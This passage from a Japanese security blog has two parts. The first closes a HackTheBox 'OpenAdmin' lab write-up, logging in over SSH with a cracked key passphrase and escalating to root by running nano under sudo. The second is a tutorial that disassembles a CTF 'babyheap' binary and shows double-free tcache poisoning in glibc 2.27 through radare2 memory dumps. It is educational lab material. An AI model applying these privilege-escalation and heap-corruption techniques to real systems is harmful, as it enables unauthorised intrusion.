1g 0:00:00:07 DONE (2020-02-28 16:50) 0.1336g/s 1917Kp/s 1917Kc/s 1917KC/s *7¡Vamos!
Session completed

Success: bloodninjas

joannaでログイン。

root@kali-linux:~/sandbox# ssh -i joanna.id_rsa joanna@10.10.10.171
Enter passphrase for key 'joanna.id_rsa': bloodninjas
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Feb 28 08:00:17 UTC 2020

  System load:  0.08              Processes:             155
  Usage of /:   49.9% of 7.81GB   Users logged in:       2
  Memory usage: 32%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Feb 28 07:35:05 2020 from 10.10.15.122
joanna@openadmin:~$ 

ホームディレクトリにuser.txtを発見。

joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt 
c9b2cf07d40807e62af626xxxxxxxxxx

joannaの情報をみる

joanna@openadmin:~$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)

sudoの確認。

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

お、/opt/privに対してのみroot権限でnanoが開けるようだ。

sudo /bin/nano /opt/priv

開いた後にCtrl + R/root/root.txtを閲覧してみる。 f:id:kyonta1022:20200514222420p:plain

2f907ed450b361b2c2bf4exxxxxxxxxx

終わり。

バイナリアン入門 第五回(x64, Linux)

はじめに

babyheapと言うバイナリのウォークスルーに近いが、one_gadgetを利用した攻撃手法としては、glibc-2.27のダブルフリーのチェック不足を利用したTCache Poisoningによる攻撃が応用編として良さそうなので、これを扱ってみる。

セキュリティ機構を確認してみる

まずはお馴染み、バイナリのセキュリティ機構を確認する。

# checksec babyheap 
[*] '/sandbox/pwn/2_babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

全て有効になっている。個々の意味については他サイトに譲る。

アセンブラを解読する

早速、babyheapのバイナリを解析してみる。毎回お馴染みのRadare2を利用する。

# r2 -d babyheap 
[0x00000870]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000870]> afl
0x00000870    1 42           entry0
0x000008a0    4 50   -> 40   sym.deregister_tm_clones
0x000008e0    4 66   -> 57   sym.register_tm_clones
0x00000930    5 58   -> 51   entry.fini0
0x00000970    1 10           entry.init0
0x00000a75    6 113          sym.getnline
0x00000a59    1 28           sym.menu
0x00000820    1 6            sym.imp.printf
0x00000ae6    3 74           sym.getint
0x00000850    1 6            sym.imp.atoi
0x000007f0    1 6            sym.imp.__stack_chk_fail
0x00000ba0    1 2            sym.__libc_csu_fini
0x00000ba4    1 9            sym._fini
0x0000097a    1 51           entry.init1
0x00000800    1 6            sym.imp.setbuf
0x00000b30    4 101          sym.__libc_csu_init
0x000009ad   12 172          main
0x000007a0    3 23           sym._init
0x000007d0    1 6            sym.imp.free
0x000007e0    1 6            sym.imp.puts
0x00000810    1 6            sym.imp.strchr
0x00000830    1 6            sym.imp.read
0x00000000    3 97   -> 123  loc.imp._ITM_deregisterTMCloneTable
0x00000840    1 6            sym.imp.malloc
[0x00000870]> s main
[0x000009ad]> pdf
            ; DATA XREF from entry0 @ 0x88d
/ 172: int main (int argc, char **argv, char **envp);
|           ; var uint32_t var_ch @ rbp-0xc
|           ; var void *ptr @ rbp-0x8
|           0x000009ad      55             push rbp
|           0x000009ae      4889e5         mov rbp, rsp
|           0x000009b1      4883ec10       sub rsp, 0x10
|           0x000009b5      488b05741620.  mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
|                                                                      ; [0x202030:8]=0
|           0x000009bc      4889c6         mov rsi, rax
|           0x000009bf      488d3df20100.  lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format
|           0x000009c6      b800000000     mov eax, 0
|           0x000009cb      e850feffff     call sym.imp.printf         ; int printf(const char *format)
|       ,=< 0x000009d0      eb72           jmp 0xa44
|       |   ; CODE XREF from main @ 0xa50
|      .--> 0x000009d2      8b45f4         mov eax, dword [var_ch]
|      :|   0x000009d5      83f802         cmp eax, 2
|     ,===< 0x000009d8      7453           je 0xa2d
|     |:|   0x000009da      83f803         cmp eax, 3
|    ,====< 0x000009dd      745c           je 0xa3b
|    ||:|   0x000009df      83f801         cmp eax, 1
|   ,=====< 0x000009e2      7402           je 0x9e6
|  ,======< 0x000009e4      eb5e           jmp 0xa44
|  ||||:|   ; CODE XREF from main @ 0x9e2
|  |`-----> 0x000009e6      48837df800     cmp qword [ptr], 0
|  |,=====< 0x000009eb      740e           je 0x9fb
|  ||||:|   0x000009ed      488d3d050200.  lea rdi, str.No_Space       ; 0xbf9 ; "No Space!!" ; const char *s
|  ||||:|   0x000009f4      e8e7fdffff     call sym.imp.puts           ; int puts(const char *s)
| ,=======< 0x000009f9      eb49           jmp 0xa44
| |||||:|   ; CODE XREF from main @ 0x9eb
| ||`-----> 0x000009fb      bf30000000     mov edi, 0x30               ; '0' ; size_t size
| || ||:|   0x00000a00      e83bfeffff     call sym.imp.malloc         ;  void *malloc(size_t size)
| || ||:|   0x00000a05      488945f8       mov qword [ptr], rax
| || ||:|   0x00000a09      488d3df40100.  lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format
| || ||:|   0x00000a10      b800000000     mov eax, 0
| || ||:|   0x00000a15      e806feffff     call sym.imp.printf         ; int printf(const char *format)
| || ||:|   0x00000a1a      488b45f8       mov rax, qword [ptr]
| || ||:|   0x00000a1e      be30000000     mov esi, 0x30               ; '0'
| || ||:|   0x00000a23      4889c7         mov rdi, rax
| || ||:|   0x00000a26      e84a000000     call sym.getnline
| ||,=====< 0x00000a2b      eb17           jmp 0xa44
| |||||:|   ; CODE XREF from main @ 0x9d8
| ||||`---> 0x00000a2d      488b45f8       mov rax, qword [ptr]
| |||| :|   0x00000a31      4889c7         mov rdi, rax                ; void *ptr
| |||| :|   0x00000a34      e897fdffff     call sym.imp.free           ; void free(void *ptr)
| ||||,===< 0x00000a39      eb09           jmp 0xa44
| |||||:|   ; CODE XREF from main @ 0x9dd
| |||`----> 0x00000a3b      48c745f80000.  mov qword [ptr], 0
| ||| |:|   0x00000a43      90             nop
| ||| |:|   ; CODE XREFS from main @ 0x9d0, 0x9e4, 0x9f9, 0xa2b, 0xa39
| ```-`-`-> 0x00000a44      e810000000     call sym.menu
|      :    0x00000a49      8945f4         mov dword [var_ch], eax
|      :    0x00000a4c      837df400       cmp dword [var_ch], 0
|      `==< 0x00000a50      7580           jne 0x9d2
|           0x00000a52      b800000000     mov eax, 0
|           0x00000a57      c9             leave
\           0x00000a58      c3             ret

コード自体は短いが分岐が多い。それぞれブロック毎に解析してみる。

Function prologue

お決まりの関数の最初で実行する命令。
関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。

push rbp
mov rbp, rsp

関数内で利用するスタックを16バイト確保する。

sub rsp, 0x10

Welcomeメッセージ表示

glibcstdin関数のアドレスをraxに格納する。

mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5

Welcomeメッセージとstdin関数のアドレスを出力する。
第一引数となるrdiには、フォーマットとなる文字列のアドレスを格納。
第二引数となるesiには、raxに格納されているstdin関数のアドレスを格納。
mov eax, 0命令に関しては、ベクトルレジスタ浮動小数点)を必要とする場合にその数を設定する必要があるが、今回は整数型なので0を設定している(詳細は以前の記事を参照)

mov rsi, rax
lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format
mov eax, 0
call sym.imp.printf         ; int printf(const char *format)

この命令が実行されると以下のメッセージが標準出力に表示される。 stdin関数のアドレスもリークしており、後程glibcのベースアドレスを求める際に利用する(ASLRにより実行時にアドレスが決まるため)

Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f87e2532a00 <<<<<
hit breakpoint at: 562bd86a2a44

メニュー表示

次の命令ではjmp命令で0xa44に移動しsym.menuをcallしている。
sym.menuの中身は割愛しているが、標準出力にメニューの選択画面を表示している。

jmp 0xa44
...(省略)
call sym.menu

sys.menuを実行すると以下の内容が標準出力に表示される。

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 

メニュー画面で0-3の値を入力するとvar_ch(rbp-0xc)に格納され、値が0の場合は処理を終了し、それ以外の場合は0x9d2に移動する。

mov dword [var_ch], eax
cmp dword [var_ch], 0
jne 0x9d2
mov eax, 0
leave
ret

分岐

0x9d2に移動したあとは、入力された値に応じたアドレスに移動する。
2Deleteだったら0xa2dアドレスへ。
3Wipeだったら0xa3bアドレスへ。
1Allocだったら0x9e6アドレスへ。
それ以外ならsym.menuへ移動する。

mov eax, dword [var_ch]
cmp eax, 2
je 0xa2d
cmp eax, 3
je 0xa3b
cmp eax, 1
je 0x9e6
jmp 0xa44

1.Allocの処理

Alloc(1)が入力された場合、最初にptr(rbp-0x8)の値が0であるかを確認する。
0の場合は0x9fbに移動し、違う場合はputsで標準出力にメッセージを表示する。

cmp qword [ptr], 0
je 0x9fb
lea rdi, str.No_Space       ; 0xbf9 ; "No Space!!" ; const char *s
call sym.imp.puts           ; int puts(const char *s)
jmp 0xa44

0x9fbからの命令では、mallocをcallしてヒープ領域に確保しているプールからチャンクを確保する。 第一引数となるediに、確保するサイズ48バイトを指定してmallocをcallすると、raxには確保したチャンクのアドレスが返ってくるので、ptr(rbp-0x8)にアドレスを格納する。

mov edi, 0x30               ; '0' ; size_t size
call sym.imp.malloc         ;  void *malloc(size_t size)
mov qword [ptr], rax

その後、確保したチャンクに格納する文字列の入力を促すメッセージを表示する。

lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format
mov eax, 0
call sym.imp.printf         ; int printf(const char *format)

最後にgetnlineをcallして文字列の入力をさせる。
第一引数となるrdiにはチャンクのアドレスを指定し、第二引数となるesiにはサイズ48を指定する。
getline man:https://linuxjm.osdn.jp/html/LDP_man-pages/man3/getline.3.html

終わったらメニューに移動する。

mov rax, qword [ptr]
mov esi, 0x30               ; '0'
mov rdi, rax
call sym.getnline
jmp 0xa44

2.Deleteの処理

Delete(2)が入力された場合、mallocで確保した領域をfreeで解放する。
第一引数となるrdiにチャンクのアドレスptr(rbp-0x8)を格納してfreeをcall
終わったらメニューに移動する。

ここで気にしときたいのは、コード的には同じチャンクアドレスに対して何回でもDeleteを実行することが可能。

mov rax, qword [ptr]
mov rdi, rax                ; void *ptr
call sym.imp.free           ; void free(void *ptr)
jmp 0xa44

3.Wipeの処理

Wipe(3)が入力された場合、mallocで確保したチャンクのアドレスを消去(0)する。
終わったらnop命令を実行後メニューに移動する。

mov qword [ptr], 0
nop

以上で、アセンブラの解読は完了。

malloc/freeの基礎知識

ヒープ問題攻略の前に、そもそもmallocfreeを実行した際にどのような挙動をするのかを理解する必要があるため、基礎の基礎を身に付けとく。 mallocは、sbrkシステムコールにより拡張されたヒープ領域のプールから、チャンクという単位で領域を確保する。
freeは、確保したチャンクを解放して再利用できるようにしているが、libc-2.26以降ではtcacheというキャッシュに繋げてメモリ確保時の高速化を図っている(libc-2.26より前はfastbinというキャッシュで管理)

正直ここら辺の理解はふんわりなので、以下のサイトなどで改めて理解を深める必要がありそう。

座学は上で深めるとして、実際のメモリを見ながら解放されるチャンクが内部でどのように管理されているかを確認してみる。

a = malloc(4);
b = malloc(4);

free(a);
free(b);

上記サンプルコードをアセンブラにしたものがこれ。

# r2 -d a.out 

Process with PID 114 started...
= attach 114 114
bin.baddr 0x56132ba4b000
Using 0x56132ba4b000
asm.bits 64
Warning: r_bin_file_hash: file exceeds bin.hashlimit
 -- Sharing your latest session to Facebook ...

[0x7effe9fef090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7effe9fef090]> s main

[0x56132ba4b68a]> pdf
            ; DATA XREF from entry0 @ 0x56132ba4b59d
/ 67: int main (int argc, char **argv, char **envp);
|           ; var int64_t var_10h @ rbp-0x10
|           ; var int64_t var_8h @ rbp-0x8
|           0x56132ba4b68a      55             push rbp
|           0x56132ba4b68b      4889e5         mov rbp, rsp
|           0x56132ba4b68e      4883ec10       sub rsp, 0x10
|           0x56132ba4b692      bf04000000     mov edi, 4
|           0x56132ba4b697      e8c4feffff     call sym.imp.malloc     ;  void *malloc(size_t size)
|           0x56132ba4b69c      488945f0       mov qword [var_10h], rax
|           0x56132ba4b6a0      bf04000000     mov edi, 4
|           0x56132ba4b6a5      e8b6feffff     call sym.imp.malloc     ;  void *malloc(size_t size)
|           0x56132ba4b6aa      488945f8       mov qword [var_8h], rax
|           0x56132ba4b6ae      488b45f0       mov rax, qword [var_10h]
|           0x56132ba4b6b2      4889c7         mov rdi, rax
|           0x56132ba4b6b5      e896feffff     call sym.imp.free       ; void free(void *ptr)
|           0x56132ba4b6ba      488b45f8       mov rax, qword [var_8h]
|           0x56132ba4b6be      4889c7         mov rdi, rax
|           0x56132ba4b6c1      e88afeffff     call sym.imp.free       ; void free(void *ptr)
|           0x56132ba4b6c6      b800000000     mov eax, 0
|           0x56132ba4b6cb      c9             leave
\           0x56132ba4b6cc      c3             ret

[0x56132ba4b68a]> db 0x56132ba4b69c
[0x56132ba4b68a]> db 0x56132ba4b6aa
[0x56132ba4b68a]> db 0x56132ba4b6ba
[0x56132ba4b68a]> db 0x56132ba4b6c6

ブレークポイント毎にメモリを確認してみる。

[0x56132ba4b68a]> dc
hit breakpoint at: 56132ba4b69c

0x56132ba4b697sym.imp.mallocを実行すると、アドレス0x56132ca7e25032(0x20)バイトのチャンクが確保された。 Top chunkの右に表示されている0x56132ca7e000, brk_end: 0x56132ca9f000は、sbrkシステムコールで拡張されたヒープ領域を表している。

[0x56132ba4b69c]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated]
  Top chunk @ 0x56132ca7e270 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

chunkの管理部であるmalloc_chunk構造体(参考)を確認してみる。
size=32(0x20)で、flagsはPREV_INUSE1になっている。
flagsの意味は以下のようだが、Radare2で観察してきた結果、変化するところが見られ無かったこともあり理解不足。

  • [N]ON_MAIN_ARENA
  • IS_[M]APPED
  • [P]REV_INUSE
[0x56132ba4b69c]> dmhc @0x56132ca7e250
struct malloc_chunk @ 0x56132ca7e250 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x56132ca7e260  0x0000000000000000  0x0000000000000000   ................

二度目のmalloc後の挙動を確認する。

[0x56132ba4b69c]> dc
hit breakpoint at: 56132ba4b6aa

最初と同様に0x56132ca7e27032バイトのチャンクが確保された。
Top chunkはチャンクを確保する度にbrk_endに向けてズレており、Top chunkが持っているsize自体も減少している。

[0x56132ba4b6aa]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated]
  Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated]
  Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

[0x56132ba4b6aa]> dmhc @0x56132ca7e270
struct malloc_chunk @ 0x56132ca7e270 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x56132ca7e280  0x0000000000000000  0x0000000000000000   ................

最初に確保したチャンクをfreeで解放してみる。

[0x56132ba4b6aa]> dc
hit breakpoint at: 56132ba4b6ba

0x56132ca7e250のチャンク状態がfreeに変化した(補足:freeの時点でチャンク内の値は消える)

[0x56132ba4b6ba]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][free]
  Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated]
  Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

そしてTcacheには解放されたチャンク0x56132ca7e250が連結された。

[0x56132ba4b6ba]> dmht
Tcache main arena @ 0x7effe9fe8c40
bin : 0, items : 1, fd :0x56132ca7e250

ちなみに、Tcacheの先頭アドレスが何処で管理されているのか調べて見ると、sbrkで拡張された領域の最初の方で管理されていた。
0x56132ca7e050アドレスの60e2 a72c 1356 (56132c7a2e60:リトルエンディアン)の部分。

[0x56132ba4b6ba]> x @0x56132ca7e000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x56132ca7e000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x56132ca7e010  0100 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e050  60e2 a72c 1356 0000 0000 0000 0000 0000  `..,.V..........
0x56132ca7e060  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

二つ目のチャンクも解放する。

[0x56132ba4b6ba]> dc
hit breakpoint at: 56132ba4b6c6

先程と同様に0x56132ca7e270の状態がfreeになった。

[0x56132ba4b6c6]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][free]
  Malloc chunk @ 0x56132ca7e270 [size: 0x20][free]
  Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

Tcacheのフリーリストを見てみると0x56132ca7e270->0x56132ca7e250のように繋がっており、先頭には今回解放したチャンクが連結された。

[0x56132ba4b6c6]> dmht
Tcache main arena @ 0x7effe9fe8c40
bin : 0, items : 2, fd :0x56132ca7e270->0x56132ca7e250

チャンクの中身を確認すると、Tcacheの先頭に繋がったチャンクのfdには、次のフリーチャンクのアドレスが格納されていた。
最後のフリーチャンクのfdはヌル。

[0x56132ba4b6c6]> dmhc @0x56132ca7e270
struct malloc_chunk @ 0x56132ca7e270 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x56132ca7e260,
  bk = 0x0,
}
chunk data = 
0x56132ca7e280  0x000056132ca7e260  0x0000000000000000   `..,.V..........

[0x56132ba4b6c6]> dmhc @0x56132ca7e250
struct malloc_chunk @ 0x56132ca7e250 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x56132ca7e260  0x0000000000000000  0x0000000000000000   ................

同様にTcacheの先頭アドレスも更新される。

[0x56132ba4b6c6]> x @0x56132ca7e000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x56132ca7e000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x56132ca7e010  0200 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e050  80e2 a72c 1356 0000 0000 0000 0000 0000  ...,.V..........
0x56132ca7e060  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

というように、Radare2で実際にメモリを覗いてみるとより理解が深まる(気がする)

TCache Poisoning

とは?

TCache Poisoningを一言で表すのは難しいが、循環参照により無限にループするlinked listを故意に発生させ、任意のアドレスをTcacheのフリーリストに連結させるような攻撃方法のこと。

tcache_attack-zhが詳しい。

検証

ここまでで、malloc/freeの基礎は理解できたので、ダブルフリーによるTCache Poisoningでは、Tcacheがどのように汚染されていくのかをRadare2で覗きながら理解してみる。

最初はmallocでチャンクを確保する。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][allocated]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

確保したチャンクにはtestを詰めている。

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x74736574,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000000074736574  0x0000000000000000   test............
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

確保したチャンクをfreeで解放すると、チャンクの状態はfreeに変わり中身が無くなる。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][free]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000000000000000  0x0000000000000000   ................
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

そしてTcacheには解放したチャンクが連結される。

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40
bin : 2, items : 1, fd :0x555def88c250

解放しているチャンクは一つなので、Tcacheの先頭アドレスは0x555def88c250となっている。

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0100 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  60c2 88ef 5d55 0000 0000 0000 0000 0000  `...]U..........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

次に、先程解放したチャンク0x555def88c250を再度freeする。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][free]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

すると、Tcacheには同じチャンクのアドレス0x555def88c250が二つ連結される。

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40
bin : 2, items : 2, fd :0x555def88c250->0x555def88c250

0x555def88c250malloc_chunkを確認すると、fdには次のチャンクを指す0x555def88c260(自分自身)が格納されている。
これは、二度目のfreeのタイミングで、Tcacheの先頭につなげるチャンクのfdには以前先頭だったチャンクのアドレス0x555def88c260を格納するため、自分自身のチャンクの次は自分自身・・・と循環参照が出来上がっている。

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x555def88c260,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000555def88c260  0x0000000000000000   `...]U..........
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

循環参照になったが、Tcacheの先頭アドレスは特に変わらない。

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0200 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  60c2 88ef 5d55 0000 0000 0000 0000 0000  `...]U..........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

Tcacheが循環参照になっている状態でmallocするとTcacheから0x555def88c250のチャンクが一つ取り出される。

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40
bin : 2, items : 1, fd :0x555def88c250

取り出されたチャンクに文字列write(本来は任意のアドレス)を書き込むと、今尚Tcacheに繋がっている0x555def88c250fdにも同じ値が格納される。同じアドレスを共有してるので当然の結果ではあるが。
んで、これがどのような結果を産むかと言うと、この状態になることでTcache0x555def88c250 -> write(本来は任意のアドレス)と言うフリーリストに汚染される事になる。

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x6574697277,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000006574697277  0x0000000000000000   write...........
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0100 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  60c2 88ef 5d55 0000 0000 0000 0000 0000  `...]U..........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

